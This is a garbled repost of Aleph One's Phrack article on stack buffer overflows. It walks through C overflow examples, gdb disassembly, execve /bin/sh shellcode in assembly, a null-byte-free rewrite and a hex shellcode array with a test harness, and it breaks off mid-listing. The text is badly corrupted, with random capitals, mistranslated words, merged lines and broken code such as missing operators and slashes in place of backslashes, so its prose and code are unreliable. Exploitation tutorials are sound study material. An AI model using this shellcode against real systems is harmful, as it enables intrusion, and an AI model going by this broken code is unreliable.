Smashing The Stack for Fun and Profit

xiaoxiao2021-03-06  41

Smashing The Stack for Fun and Profit

.oo phrack 49 oo.

Volume Seven, Issue Forty-Nine

File 14 of 16

Bugtraq, R00T, And Underground.org

Bring you

Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Smashing The Stack for Fun and Profit

Xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

By Aleph One

Aleph1@underground.org

`smash the stack` [c protemming] n. on Many C Implementations

IT is Possible to Corrupt The Execution Stack by Writing Past

The end of an array declared auto in a routine. Code That Does

This is said to smash the stack, and can cause return.com

Routine to jump to a random address. this can produce some of

The Most Insidious Data-Dependent Bugs Known To Mankind.

Variants include trash the stack, Scribble the stack, mangle

The Stack; The Term Mung The Stack Is Not Used, AS this IS

Never Done intendionally. See Also Alias ​​Bug,

Fandango on Core, Memory Leak, Precedence Lossage, Overrun Screw.

Introduction

~~~~~~~~~~~~

Over the last few months there is hams been a large increase of buffer

Overflow Vulnerabilities Being Both Discovered and ExploIn. Examples

Of these area syslog, splitvt, sendmail 8.7.5, linux / freebsd mount, xt

Library, AT, etc. this paper attempts to explain what bufferflows

Are, And how their costs work.

Basic knowledge of assembly is required. An understanding of virtual

Memory Concepts, And Experience with GDB Are Very Helpful But Not Necessary.

WE Also Assume We area Working with an all x86 CPU, and That the turnrating

System is linux.

Some Basic Definitions Before We Begin: a Buffer IS SIMPLY A ContiGuous

Block of Computer Memory That Holds Multiple Instances of The Same Data

Type. C Programmers Normally Associate with the Word Buffer Arrays. Mostcommonly, Character Arrays. Arrays, Like All Variables in C, Can Be

Dynamic. Static Variables Are Allocated At Load

Time on the data segment. Dynamic Variables Are Allocated At Run Time ON

THE Stack. To overflow is to flow, or fill over the top, brims, or bounds.

WE WILL Concern Ourslves Only with the overflow of Dynamic Buffers, Otherwise

KNown as stack-based bufferflows.

Process Memory Organization

~~~~~~~~~~~~~~~~~~~~~~~~~~~

To Understand What Stack Buffers Are We Must First Undhow A

Process is Organized in Memory. Processes Are Divided Into Three Regions:

Text, Data, And Stack. We will Concentrate On The Stack Region, But First

A Small Overview of The Other region is in order.

The Text Region is Fixed by the program and incrudes code (instructions)

And Read-Only Data. This Region Corresponds to the Text Section of The THE

Executable File. this region is normally marked read-only and any attempt to

Write to it will result in a segmentation viological.

The Data Region Contains Initialized and Uninitialized Data. Static

Variables Are Stored in This Region. The Data Region Corresponds to the

Data-bss Sections of the Executable File. Its size can be change with the

BRK (2) System Call. if The Expansion of the Bss Data or the User Stack

Exhausts Available Memory, The Process Is Blocked and Is Res Resp - to

Run Again with a larger memory space. New memory is added Between the data

And stack segments.

/ ------------------ / Lower

| | | Memory

| TEXT | Addresses

| | |

| ------------------

| (Initialized) |

| Data |

| (Uninitialized) || --------------------

| | |

| Stack | higher

| | | Memory

/ ------------------ / Addresses

Fig. 1 Process Memory Regions

What is a stack?

~~~~~~~~~~~~~~~~

A stack is an abstract data type frequently used in computer science. A

Stack of Objects Has The Property That The Last Object Placed on The Stack

Will Be The First Object Removed. This property is comMMONLY Referred To As

Last In, First Out Queue, OR A LIFO.

Several Operations Are Defined On Stacks. Two of the Most Important Are

Push and pop. Push adds an element at the top of the stack. Pop, in

Contrast, Reduces the Stack Size by removing the last element at the

Top of the stack.

Why do we use a stack?

~~~~~~~~~~~~~~~~~~~~~~

Modern Computers Are Designed with the ued of high-level languages ​​in

Mind. The Most Important Technique for structuring programs introduces

High-level languages ​​is the procedure or function. from One Point of View, A

Procedure Call Alters The Flow of Control Just As a Jump Does, But Unlike A

Jump, When Finished Performing ITS Task, a Function Returns Control to the

Statement Or Instruction Following The Call. This High-Level Abstract

Is Implement with The Help of The Stack.

The Stack Is Also Used to Dynamical Allocate The Local Variables Used in

Functions, To Pass Parameters to the functions, and to returnes from the

Function.

THE Stack Region

~~~~~~~~~~~~~~~~

A Stack Is a Contiuous Block of Memory Containing Data. A Register Called

The Stack Pointer (SP) Points to the Top of the Stack. The Bottom of To

Stack is at a fixed address. its size is dynamically adjusted by the Kernel

AT Run Time. The CPU IMPLEments INSTRUCTIONS TO PUSH ONTO AND POP OFF OFF OFF.

The Stack Consists of Logical Stack Frames That Are PuShed WHEN CALLING A

Function and Popped When Returning. a Stack Frame Contains The Parameters To

A Function, ITS Local Variables, And The Data Necessary to Recover To

Previous Stack Frame, Including The Value of The Instruction Pointer At The

Time of the function call.

Depending On The Implementation THE Stack Will Either Grow Down (Towards

Lower Memory Addresses, OR Up. IN Our Examples We'll Use a Stack That GROWS

Down. this is the war the stack grows ON MANY COMPUTERS INCLUDING THE Intel,

Motorola, Sparc and MIPS Processors. The Stack Pointer (SP) IS Also

Implementation dependent. it may point to the last address on the stack, or

To the next free available address after the stack. for our discussion we'll

Assume IT Points to the Last Address on the stack.

In Addition to the Stack Pointer, Which Points To The Top of the Stack

(Lowest Numerical Address), IT IS OFTEN Convenient to Have A Frame Pointer

(Fp) Which Points to a fixed location forin a frame. Some Texts Also Refer

To it as a local base Pointer (lb). in Princi, Local Variables Could Be

Reference by Giving Their Offsets from sp. however, as Words Are Pushed ONTO

The Stack and Popped from The Stack, Thase Offsets Change. Although in Some

Cases The Compiler Can Keep Track of The Number of Words on The Stack and THE

Thus Correct The Offsets, in Some Cases It Cannot, And in All Cases

Considerable Administration is Required. Futhermore, on Some Machines, Such

AS Intel-Based Processors, Accessing A Variable At A Known Distance from SP

Requires Multiple Instructions.

Consequently, Many Compilers Use A Second Register, FP, for ReferenceBoth Local Variables and Parameters Because their distances from fp do

Not Change with Pushes and Pops. On Intel CPUS, BP (EBP) IS Used for this

Purpose. on The Motorola CPUS, Any Address Register Except A7 (THE STACK

Pointer Will Do. Because The Way Our Stack Grows, Actual Parameters Have

Positive Offsets and Local Variables Have Negative Offsets from FP.

THE FIRST Thing a Procedure Must Do When Called Is Save The Previous FP

(SO IT CAN Be Restored At Procedure Exit). Then IT Copies SP Into FP To

Create The New FP, And Advances SP To Reserve Space for the local variables.

This Code Is Called The Procedure ProLog. Upon Procedure Exit, The Stack

Must Be Cleated Up Again, Something Called The Procedure Epilog. The Intel

ENTER AND Leave Instructions and the motorola link and unlink instructions,

Have Been Provided to Do Most of The Procedure ProLog and Epilog Work

Efficiently.

Let us See What THE STACK LOOKS LOKE IN A Simple EXAMPLE:

EXAMPLE1.C:

-------------------------------------------------- ----------------------------

Void Function (int A, int b, int c) {

Char buffer1 [5];

Char buffer2 [10];

}

Void main () {

Function (1, 2, 3);

}

-------------------------------------------------- ----------------------------

To understand what the program does to call function () We Compile IT with

GCC Using The -s Switch To Generate Assembly Code Output:

$ GCC -S -O EXAMPLE1.S EXAMPLE1.C

By looking at the assembly language output we see That the call to

Function () is translated to:

Pushl $ 3

Pushl $ 2

Pushl $ 1

Call function

This Pushes the 3 arguments to function backwards inTo the stack, and

Calls function (). The instruction 'call' Will Push The Instruction Pointer (IP) ONTO The Stack. We'll Call The Saved IP The Return Address (RET). THE

First Thing Done in Function is The Procedure ProLog:

Pushl% EBP

MOVL% ESP,% EBP

SUBL $ 20,% ESP

This Pushes EBP, The Frame Pointer, ONTO The Stack. It THEN COPIES THE

Current SP ONTO EBP, MAKING IT The New FP Pointer. We'll Call The Saved FP

Pointer sfp. It then allocates space for the local variables by subtracting

Their size from sp.

We Must Remember That Multiple Can Only Be Addressed In Multiples of To

Word size. A Word IN OUR Case IS 4 BYTES, OR 32 BITS. SO OUR 5 BYTE BUFFER

Is really going to take 8 bytes (2 words) of memory, and ur 10 byte buffer

Is going to take 12 bytes (3 Words) of memory. That is why sp is being

Subtracted by 20. With That in Mind Our Stack Looks Like thisime

Function () is Called (Each Space Represents a Byte):

Bottom of top of top

Memory Memory

Buffer2 Buffer1 SFP RET A B C

<------ [] [] [] [] [] [] []

Top of bottom of

Stack Stack

Buffer overflows

~~~~~~~~~~~~~~~~

A Buffer Overflow Is The Result of Stuffing More Data Into A Buffer Than

IT can Handle. How Can This Offen Found Programming Error Can Be Taken

Advantage to EXECUTE ARBITRARY CODE? Lets Look At Another Example:

EXAMPLE2.C

-------------------------------------------------- ----------------------------

Void function (char * str) {

Char buffer [16]; struffpy (buffer, str);

}

Void main () {

CHAR LARGE_STRING [256];

INT I;

For (i = 0; i <255; i )

Large_string [i] = 'a';

Function (large_string);

}

-------------------------------------------------- ----------------------------

This Is Program Has A Function with a Typical Buffer overflow Coding

Error. The Function Copies a Supplied String without Bounds Checking By

Using stracpy () instead of strncpy (). if you run this program you will get a

Segmentation Violation. Lets See What ITS Stack Looks WHEN We Call Function:

Bottom of top of top

Memory Memory

Buffer SFP RET * STR

<------ [] [] [] []

Top of bottom of

Stack Stack

What is going on here? Why do we get a segmentation viological? Simple.

Strcpy () is coping the contents of * str (larger_string []) INTO BUFFER []

Until a null character is found on the string. as we can see buffer [] IS

Much Smaller Than * Str. Buffer [] IS 16 BYTES Long, And We Are Trying to Stuff

IT with 256 bytes. This Means That All 250 Bytes After Buffer In The Stack of THETES AFER

Are Being Overwritten. this incrudes the sfp, return, and evening * str! we Had

Filled Large_String with the Character 'a'. It's HEX Character Value

IS 0x41. That Means That The Return Address is now 0x41414141. this is

Outside of the process address space. That is why when function returns

AND Tries to read the next instruction from what address you get a

Segmentation Viological.so A Buffer overflow Allows US to Change The Return Address of a function.

In this way we can change the flow of execution of the program. Lets Go Back

To Our First Example And Recall What The Stack Looked Like:

Bottom of top of top

Memory Memory

Buffer2 Buffer1 SFP RET A B C

<------ [] [] [] [] [] [] []

Top of bottom of

Stack Stack

Lets try to modify our first example so thing it overwrites the return

Address, And Demonstrate How We CAN Make It Execute Arbitrary Code. JUST

Before Buffer1 [] on The Stack IS SFP, And Before It, The Return Address.

That IS 4 bytes pass the end of buffer1 []. But repeember what buffer1 [] IS

Really 2 Word So ITS 8 Bytes Long. so The return address is 12 bytes from the RETUR

The start of buffer1 []. We'll Modify The Return Value in Such A Way That That

Assignment Statement 'x = 1;' after the function call will be jumped. To do

SO We add 8 bytes to the return address. Our Code is now:

EXAMPLE3.C:

-------------------------------------------------- ----------------------------

Void Function (int A, int b, int c) {

Char buffer1 [5];

Char buffer2 [10];

INT * RET;

Ret = buffer1 12;

(* RET) = 8;

}

Void main () {

INT X;

X = 0;

Function (1, 2, 3);

X = 1;

Printf ("% d / n", x);

}

-------------------------------------------------- ----------------------------

What We Have Done Is Add 12 To Buffer1 [] 's Address. This New Address Iswhere The Return Address Is Stored. We want to skip pass the assocignment to

The Printf Call. How Did WE KNOW TO Add 8 To The Return Address? WE Used A

Test Value First (for Example 1), Compiled The Program, And the Started GDB:

-------------------------------------------------- ----------------------------

[ALEPH1] $ GDB EXAMPLE3

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(No Debugging Symbols Found) ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000490

: pushl% EBP

0x8000491

: MOVL% ESP,% EBP

0x8000493

: SUBL $ 0x4,% ESP

0x8000496

: MOVL $ 0x0, 0xfffffffc (% EBP)

0x800049D

: Pushl $ 0x3

0x800049f

: Pushl $ 0x2

0x80004A1

: Pushl $ 0x1

0x80004A3

: Call 0x8000470

0x80004A8

: AddL $ 0xc,% ESP

0x80004AB

: MOVL $ 0x1, 0xfffffffc (% EBP)

0x80004B2

: MOVL 0xffffffc (% EBP),% EAX

0x80004B5

: pushl% EAX

0x80004B6

: pushl $ 0x80004F8

0x80004BB

: Call 0x8000378

0x80004c0

: Add1 $ 0x8,% ESP

0x80004C3

: MOVL% EBP,% ESP

0x80004c5

: POPL% EBP

0x80004C6

: RET0X80004C7
: NOP

-------------------------------------------------- ----------------------------

We can see what athen caling function () The return be 0x8004a8, and w

Want to Jump Past The Assignment at 0x80004ab. The next instruction we want

To execute is the at 0x8004b2. a little math tells us the distance is 8

BYTES.

Shell Code

~~~~~~~~~~

So Now That We know That We can modify the return address and the flow of

Execution, What Program Do Want To Execute? In Most Cases We'll SIMPLY

Want the program to spawn a shell. from the shell we can life osther

Commands as we wish. but what if there is no claim code in the program weather. IS No SUCH CODE IN THE

Are Trying to expebit? how can we place Arbitrary Instruction ITO ITS

Address Space? The answer is to place the code with are trying to execute in

The Buffer WE Are Overflowing, And Overwrite The Return Address SO IT Points

Back Into The Buffer. Assuming The Stack Starts At Address 0xFF, and That S

Stands for the code we want to execute the stack woulding the look like this:

Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF

Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY

Buffer SFP RET A B C

<------ [sssssssssssssssssssss] [SSSS] [0xD8] [0x01] [0x02] [0x03]

^ | |

| ____________________________ |

Top of bottom of

Stack Stack

The code to spawn a shell in c looks like:

shellcode.c

-------------------------------------------------- ---------------------------

#include

Void main () {char * name [2];

Name [0] = "/ bin / sh";

Name [1] = NULL;

Execve (Name [0], Name, NULL);

}

-------------------------------------------------- ----------------------------

To Find Out What Does It Looks Like In Assembly We Compile It, And Start

Up gdb. Remember to use the the -static flag. Otherwise the Actual Code To

For The Execve System Call Will NOT BE INCLUDED. INSTEERE WILL BE A

Reference to Dynamic C Library That Would Normally Would Be Linked In AT

Load Time.

-------------------------------------------------- ----------------------------

[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c

[ALEPH1] $ GDB shellcode

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main:

0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: SUBL $ 0x8,% ESP

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

0x800013D

: MOVL $ 0x0, 0xffffffffc (% EBP)

0x8000144

: Pushl $ 0x0

0x8000146

: LEAL 0xfffffffff8 (% EBP),% EAX

0x8000149

: pushl% EAX

0x800014a

: movl 0xfffffff8 (% EBP),% EAX

0x800014D

: pushl% EAX

0x800014e

: CALL 0x80002BC <__ EXECVE>

0x8000153

: addl $ 0xc,% ESP

0x8000156

: MOVL% EBP,% ESP0X8000158
: POPL% EBP

0x8000159

: RET

End of assembler dump.

(GDB) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

0x80002C8 <__ execve 12>: MOVL 0xc (% EBP),% ECX

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

0x80002CE <__ execve 18>: int $ 0x80

0x80002d0 <__ execve 20>: MOVL% EAX,% EDX

0x80002d2 <__ execve 22>: Testl% EDX,% EDX

0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>

0x80002d6 <__ execve 26>: NEGL% EDX

0x80002d8 <__ execve 28>: Pushl% EDX

0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location>

0x80002de <__ execve 34>: POPL% EDX

0x80002df <__ execve 35>: MOVL% EDX, (% EAX)

0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX

0x80002e6 <__ execve 42>: POPL% EBX

0x80002e7 <__ execve 43>: MOVL% EBP,% ESP

0x80002e9 <__ execve 45>: POPL% EBP

0x80002ea <__ execve 46>: RET

0x80002eb <__ execve 47>: NOP

End of assembler dump.

-------------------------------------------------- ----------------------------

Lets try to understand what is going on here. We'll Start by Studying Main:

-------------------------------------------------- ---------------------------- 0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: SUBL $ 0x8,% ESP

This is the procedure prelude. It first saves the old frame pointer,

Makes The Current Stack Pointer The New Frame Pointer, And Leaves

Space for the Local Variables. in this case.

Char * name [2];

OR 2 Pointers to a char. Pointers Are A Word Long, So It Leaves

Space for Two Words (8 Bytes).

0x8000136

: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)

We copy the value 0x80027b8 (The Address of the string "/ bin / sh")

INTO The First Pointer of Name []. This is equivalent to:

Name [0] = "/ bin / sh";

0x800013D

: MOVL $ 0x0, 0xffffffffc (% EBP)

We copy the value 0x0 (null) INTO The Seconds Pointer of Name [].

This is equivalent to:

Name [1] = NULL;

The Actual Call To Execve () Starts Here.

0x8000144

: Pushl $ 0x0

We push the arguments to execve () in Reverse Order ONTO The Stack.

We Start with Null.

0x8000146

: LEAL 0xfffffffff8 (% EBP),% EAX

Weide the address of name [] INTO the EAX Register.

0x8000149

: pushl% EAX

We push the address of name [] ONTO the stack.

0x800014a

: movl 0xfffffff8 (% EBP),% EAX

Weide the address of the string "/ bin / sh" INTO The Eax Register.

0x800014D

: pushl% EAX

We push the address of the string "/ bin / sh" ONTO The Stack.

0x800014e

: CALL 0x80002BC <__ EXECVE>

Call the library procedure execve (). The call instruction pushes the

Ip ONTO The Stack.

-------------------------------------------------- ---------------------------- Now execve (). Keep in Mind We Are Using a Intel based Linux System. Thae

Syscall Details Will Change from Os To Os, And from CPU To CPU. Some Will

Pass the arguments on the stack, Others on The Registers. Some Use a Software

Interrupt to Jump To Kernel Mode, Others Use A Far Call. Linux Passs ITS

Arguments to the System Call on the registers, and uses a software interrupt

TO JUMP INTO KERNEL MODE.

-------------------------------------------------- ----------------------------

0x80002bc <__ execve>: Pushl% EBP

0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP

0x80002BF <__ execve 3>: Pushl% EBX

The procedure prelude.

0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX

Copy 0XB (11 Decimal) Onto the stack. This is the index Into the

Syscall Table. 11 IS Execve.

0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX

Copy The Address of "/ bin / sh" INTO EBX.

0x80002C8 <__ execve 12>: MOVL 0xc (% EBP),% ECX

Copy The Address of Name [] INTO ECX.

0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX

Copy The Address of The Null Pointer INTO% EDX.

0x80002CE <__ execve 18>: int $ 0x80

Change Into Kernel Mode.

-------------------------------------------------- ----------------------------

So as we can see there is not much to the execve () System call. All we need

To do IS:

a) Have the null terminated string "/ bin / sh" Somewhere in Memory.

b) Have the address of the string "/ bin / sh" Somewhere in Memory

Followed by a null long word.

c) Copy 0XB INTO The EAX Register.

d) Copy the address of the address of the string "/ bin / sh" INTO THE

Ebx register.

e) Copy the address of the string "/ bin / sh" INTO The ECX Register.

f) Copy The Address of The Null Long Word Into The Edx Register.

g) Execute the int $ 0x80 instruction.

But what if the execve () CALL FAILS for Some REASON? The Program Will

Continue Fetching Instructions from The Stack, Which May Contain Random Data!

The Program Will Most Likely Core Dump. We want the program to exit cleanly

If The Execve Syscall Fails. To AccompLish this Weme Ten Add A Exit

Syscall after the execve syscall. What does the exit syscall locks like?

Exit.c

-------------------------------------------------- ----------------------------

#include

Void main () {

exit (0);

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exit -static exit.c

[ALEPH1] $ GDB EXIT

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(No Debugging Symbols Found) ...

(gdb) disassemble _exit

Dump of assembler code for function _exit:

0x800034C <_exit>: Pushl% EBP

0x800034D <_exit 1>: MOVL% ESP,% EBP

0x800034F <_exit 3>: pushl% EBX

0x8000350 <_exit 4>: MOVL $ 0x1,% EAX

0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX

0x8000358 <_exit 12>: INT $ 0X80

0x800035A <_exit 14>: MOVL 0xFffffFFFC (% EBP),% EBX

0x800035D <_exit 17>: MOVL% EBP,% ESP0X800035F <_exit 19>: POPL% EBP

0x8000360 <_exit 20>: RET

0x8000361 <_exit 21>: NOP

0x8000362 <_exit 22>: NOP

0x8000363 <_exit 23>: NOP

End of assembler dump.

-------------------------------------------------- ----------------------------

The EXIT SYSCALL WILL PLACE 0x1 in Eax, Place The EXIT CODE IN EBX,

And Execute "int 0x80". That's it. MOST Applications Return 0 on exit to

INDICATE NO Errors. We will place 0 in Ebx. Our list of steps is now:

a) Have the null terminated string "/ bin / sh" Somewhere in Memory.

b) Have the address of the string "/ bin / sh" Somewhere in Memory

Followed by a null long word.

c) Copy 0XB INTO The EAX Register.

d) Copy the address of the address of the string "/ bin / sh" INTO THE

Ebx register.

e) Copy the address of the string "/ bin / sh" INTO The ECX Register.

f) Copy The Address of The Null Long Word Into The Edx Register.

g) Execute the int $ 0x80 instruction.

H) Copy 0x1 INTO The Eax Register.

I) Copy 0x0 INTO The EBX Register.

j) Execute The INT $ 0x80 Instruction.

Trying to put this together in assembly language, Placing the string, PLACING THE STRING

After the code, and remembering we willable the address of the string,

And Null Word After the Array, We Have:

-------------------------------------------------- ----------------------------

MOVL STRING_ADDR, STRING_ADDR_ADDR

MOVB $ 0x0, NULL_BYTE_ADDR

Movl $ 0x0, NULL_ADDR

MOVL $ 0XB,% EAX

MOVL STRING_ADDR,% EBX

LEAL STRING_ADDR,% ECX

LEAL NULL_STRING,% EDX

INT $ 0x80

MOVL $ 0x1,% EAX

MOVL $ 0x0,% EBX

INT $ 0x80

/ BIN / SH STRING GoES here.

-------------------------------------------------- ---------------------------- The Problem is this we don't know where in the memory space of the

Program we are trying to expedition the code (and the string That Follows

IT) Will Be Placed. One Way Around It Is To Use A JMP, And A Call

INSTRUCTION. The JMP and CALL INSTRUCTIONS CAN USE IP Relative Addressing,

Which means we can jump to an offset from the current ip without needing

TO KNOW THE EXACT ADDRESS OF WHERE IN MEMORY WAWANT to JUMP TO. IF WE

Place a call instruction Right Before the "/ bin / sh" string, and a jmp

INSTRUCTION TO IT, The Strings Address Will Be Pushed ONTO THE Stack As

The Return Address When Call Is Executed. All We need the to copy the

Return Address Into a register. The Call Instruction CAN Simply Call THE

START OF Our Code Above. Assuming Now That J Stands for the JMP Instruction,

C for the call instruction, and s for the string, The Execution Flow Would

Now BE:

Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF

Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY

Buffer SFP RET A B C

<------ [jjssssssssssssccccss] [SSSS] [0xD8] [0x01] [0x02] [0x03]

^ | ^ ^ | |

||| _____________ || ____________ | (1)

(2) || _____________ ||

| ______________ | (3)

Top of bottom of

Stack Stack

With this modifications, using indexed addressing, and Writing Down How

MANY BYTES EACH INSTRUCTION TAKES OUR CODE LOOKS LIKE:

-------------------------------------------------- ----------------------------

JMP offset-to-call # 2 bytespopl% ESI # 1 byte

MOVL% ESI, Array-Offset (% ESI) # 3 bytes

Movb $ 0x0, NullByteoffset (% ESI) # 4 bytes

Movl $ 0x0, Null-Offset (% ESI) # 7 Bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal array-offset, (% esi),% ECX # 3 bytes

Leal Null-Offset (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call offset-to-popl # 5 bytes

/ BIN / SH STRING GoES here.

-------------------------------------------------- ----------------------------

Calculating the offsets from jmp omp to call, from call to popl, from

THE STRING Address to the array, and from the string address to the null

Long Word, Westow Have:

-------------------------------------------------- ----------------------------

JMP 0x26 # 2 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

MOVB $ 0x0,0x7 (% esi) # 4 bytes

MOVL $ 0x0,0xc (% esi) # 7 bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call -0x2b # 5 bytes

.string / "/ bin / sh /" # 8 bytes

-------------------------------------------------- ----------------------------

Looks Good. To make Sure It Works Correctly We Must Compile IT and Run IT.

But there is a problem. Our code modifies itself, But Most Operating System

Mark Code Pages Read-Only. To Get Than Wear To EXECUTE IN The Stack OR Data Segment, And Transfer Control

To it. to do so we will place our code in a global array in the data

Segment. We need first a hex representation of the binary code. lets

Compile it first, and then use gdb to obtain it.

Shellcodeasm.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x2a # 3 bytes

POPL% ESI # 1 byte

MOVL% ESI, 0x8 (% ESI) # 3 bytes

MOVB $ 0x0,0x7 (% esi) # 4 bytes

MOVL $ 0x0,0xc (% esi) # 7 bytes

MOVL $ 0XB,% EAX # 5 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

Movl $ 0x1,% EAX # 5 bytes

MOVL $ 0x0,% EBX # 5 bytes

INT $ 0x80 # 2 bytes

Call -0x2f # 5 bytes

.string / "/ bin / sh /" # 8 bytes

");

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o shellcodeasm -g -ggdb shellcodeasm.c

[ALEPH1] $ GDB Shellcodeasm

GDB Is Free Software and You Are Welcome to Distribute Copies of IT

Under Certain Conditions; Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...

(GDB) Disassemble Main

Dump of assembler code for function main: 0x8000130

: pushl% EBP

0x8000131

: MOVL% ESP,% EBP

0x8000133

: jmp 0x800015f

0x8000135

: POPL% ESI

0x8000136

: MOVL% ESI, 0x8 (% ESI)

0x8000139

: MOVB $ 0x0,0x7 (% ESI)

0x800013D

: MOVL $ 0x0,0xc (% ESI)

0x8000144

: MOVL $ 0XB,% EAX

0x8000149

: MOVL% ESI,% EBX

0x800014B

: LEAL 0x8 (% ESI),% ECX

0x800014e

: LEAL 0XC (% ESI),% EDX

0x8000151

: INT $ 0X80

0x8000153

: MOVL $ 0x1,% EAX

0x8000158

: MOVL $ 0x0,% EBX

0x800015D

: INT $ 0X80

0x800015F

: Call 0x8000135

0x8000164

: DAS

0x8000165

: boundl 0x6e (% ECX),% EBP

0x8000168

: DAS

0x8000169

: jae 0x80001d3 <__ new_exitfn 55>

0x800016B

: addb% cl, 0x55C35DEC (% ECX)

End of assembler dump.

(GDB) x / bx main 3

0x8000133

: 0xeb

(GDB)

0x8000134

: 0x2a

(GDB)

.

.

.

-------------------------------------------------- ----------------------------

Testsc.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00"

"/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80"

"/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF" "/ XFF / X2F / X62 / X69 / X6E / X2F / X73 / X68 / X00 / X89 / XEC / X5D / XC3 ";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc Testsc.c

[aleph1] $ ./testsc

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

IT Works! But there is an obstacle. In Most Cases We'll Be Trying To

Overflow a character buffer. as such any null bytes in Our shellcode will be

Considered The end of the string, and the copy will be terminated. Therem

Be no null bytes in the shellcode for the expel to work. let's try

Eliminate the bytes (and at the same time make it it limited.).

Problem Instruction: Substitution with:

-------------------------------------------------- --------

MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX

Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xC (% ESI)

-------------------------------------------------- --------

MOVL $ 0XB,% EAX MOVB $ 0XB,% Al

-------------------------------------------------- --------

MOVL $ 0x1,% EAX XORL% EBX,% EBX

MOVL $ 0x0,% EBX MOVL% EBX,% EAX

INC% EAX

-------------------------------------------------- --------

Our IMPROVED CODE:

Shellcodeasm2.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x1f # 2 bytes

POPL% ESI # 1 bytemovl% ESI, 0x8 (% esi) # 3 bytes

XORL% EAX,% EAX # 2 bytes

MOVB% EAX, 0x7 (% ESI) # 3 bytes

MOVL% EAX, 0xc (% esi) # 3 bytes

MovB $ 0XB,% Al # 2 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

XORL% EBX,% EBX # 2 Bytes

MOVL% EBX,% EAX # 2 bytes

INC% EAX # 1 bytes

INT $ 0x80 # 2 bytes

Call -0x24 # 5 bytes

.string / "/ bin / sh /" # 8 bytes

# 46 bytes Total

");

}

-------------------------------------------------- ----------------------------

And Our New Test Program:

Testsc2.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

